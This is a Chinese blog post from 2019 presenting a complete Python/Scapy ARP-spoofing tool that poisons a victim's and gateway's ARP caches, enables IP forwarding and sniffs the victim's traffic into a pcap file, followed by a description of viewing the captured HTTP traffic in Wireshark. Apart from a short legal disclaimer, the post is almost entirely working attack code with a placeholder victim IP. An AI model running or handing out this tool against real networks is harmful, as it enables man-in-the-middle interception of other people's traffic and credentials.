使用python实现ARP欺骗

python实现arp欺骗--截取被害者流量

（随意攻击他人网络，截取他人信息是违法行为。本文旨在让大家了解arp攻击的危害，

不要随意接入他人和公共网络，因为随时可能被监听。）

一、根据IP地址获取对应的mac地址

 

1 # 根据IP地址获取mac地址
2 def get_mac(ip_address):
3     responses, unanswered = srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip_address),timeout=2,retry=10)
4     for s,r in responses:
5         return r[Ether].src
6     return None

 

 

二、实现arp欺骗

 1 # 实现arp欺骗（双向发包，伪装地址）
 2 def poison_target(gateway_ip, gateway_mac, target_ip, target_mac):
 3     poison_target = ARP()
 4     poison_target.op = 2
 5     poison_target.psrc = gateway_ip
 6     poison_target.pdst = target_ip
 7     poison_target.hwdst = target_mac
 8     
 9     poison_gateway = ARP()
10     poison_gateway.op = 2
11     poison_gateway.psrc = target_ip
12     poison_gateway.pdst = gateway_ip
13     poison_gateway.hwdst = gateway_mac
14     
15     print "[*] Beginning the ARP poison. [CTRL-C to stop"
16     
17     while True:
18         try:
19             send(poison_target)
20             send(poison_gateway)
21             time.sleep(2)
22         except KeyboardInterrupt:
23             restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
24     print "[*] ARP poison attack finished"
25     return

 

三、环境恢复

1 # 攻击完成后恢复环境
2 def restore_target(gateway_ip,gateway_mac,target_ip,target_mac):
3     print "[*] Restoring target......"
4     send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=gateway_mac),count=5)
5     send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=target_mac),count=5)
6     
7     # kill and return main line
8     os.kill(os.getpid(), signal.SIGINT)

 

四、完整代码

  1 #! /usr/bin/env python
  2 #-*- coding:utf-8 -*-
  3 '''
  4 Created on 2019年11月24日
  5 
  6 @author:  perilong
  7 '''
  8 from scapy.all import *
  9 from scapy.layers.l2 import Ether, ARP
 10 import signal
 11 import threading
 12 import os
 13 import sys
 14 
 15 
 16 # get mac address
 17 def get_mac(ip_address):
 18     responses, unanswered = srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip_address),timeout=2,retry=10)
 19     for s,r in responses:
 20         return r[Ether].src
 21     return None
 22 
 23 
 24 def restore_target(gateway_ip,gateway_mac,target_ip,target_mac):
 25     print "[*] Restoring target......"
 26     send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=gateway_mac),count=5)
 27     send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=target_mac),count=5)
 28     
 29     # kill and return main line
 30     os.kill(os.getpid(), signal.SIGINT)
 31 
 32 # begin to posion target
 33 def poison_target(gateway_ip, gateway_mac, target_ip, target_mac):
 34     poison_target = ARP()
 35     poison_target.op = 2
 36     poison_target.psrc = gateway_ip
 37     poison_target.pdst = target_ip
 38     poison_target.hwdst = target_mac
 39     
 40     poison_gateway = ARP()
 41     poison_gateway.op = 2
 42     poison_gateway.psrc = target_ip
 43     poison_gateway.pdst = gateway_ip
 44     poison_gateway.hwdst = gateway_mac
 45     
 46     print "[*] Beginning the ARP poison. [CTRL-C to stop"
 47     
 48     while True:
 49         try:
 50             send(poison_target)
 51             send(poison_gateway)
 52             time.sleep(2)
 53         except KeyboardInterrupt:
 54             restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
 55     print "[*] ARP poison attack finished"
 56     return
 57 
 58 
 59 # 主方法，脚本执行电脑需要Linux（脚本会打开路由转发功能）
 60 def main():
 61 
 62     interface = 'eth0'
 63     target_ip = '受害者IP地址'
 64     gateway_ip = '网关IP地址'
 65     packets_counts = 10000
 66     
 67     # configure interface id card
 68     conf.iface = interface
 69     
 70     #close output
 71     conf.verb = 0
 72     
 73     print "[*] Setting up %s"% interface
 74     
 75     # get gateway mac address
 76     gateway_mac = get_mac(gateway_ip)
 77     if gateway_mac is None:
 78         print "[!!!] Failed to get gateway MAC. Eixting."
 79         sys.exit()
 80     else:
 81         print "[*] Gateway %s is at %s"%(gateway_ip, gateway_mac)
 82         
 83     # get Target mac address
 84     target_mac = get_mac(target_ip)
 85     if target_mac is None:
 86         print "[!!!] Failed to get Target MAC. Eixting."
 87         sys.exit()
 88     else:
 89         print "[*] Target %s is at %s"%(target_ip, target_mac)
 90         
 91         
 92     # set ip_forward
 93     os.system('echo 1 > /proc/sys/net/ipv4/ip_forward')
 94         
 95     # start multi-process ARP poison
 96     poison_thread = threading.Thread(target=poison_target, args=(gateway_ip,gateway_mac,target_ip,target_mac))
 97     poison_thread.start()
 98     
 99     try:
100         print "[*] Starting sniffer for %d packets"%packets_counts
101         bpf_filter = "ip host %s"%target_ip
102         packets = sniff(count=packets_counts, filter=bpf_filter, iface=interface)
103         
104         # catch packets 
105         wrpcap('arper.pcap', packets)
106         
107         # restore env
108         restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
109         
110     except KeyboardInterrupt:
111         # restore env
112         restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
113         
114         # set ip_forward
115         os.system('echo 0 > /proc/sys/net/ipv4/ip_forward')
116         sys.exit(0)
117     # set ip_forward
118     os.system('echo 0 > /proc/sys/net/ipv4/ip_forward')
119 main()
120

 

五、执行结果：

1、执行攻击脚本，并在靶机上上网

 

2、抓包数据--arper.pacp，满满的数据：

 

 

3、使用wireshark打开（wireshark arper.pcap）

本次攻击期间使用浏览器上网，因此过滤下http协议：

 

 

 

 

posted @ 2019-12-02 00:02  PerilongGideon  阅读(942)  评论(0)    收藏  举报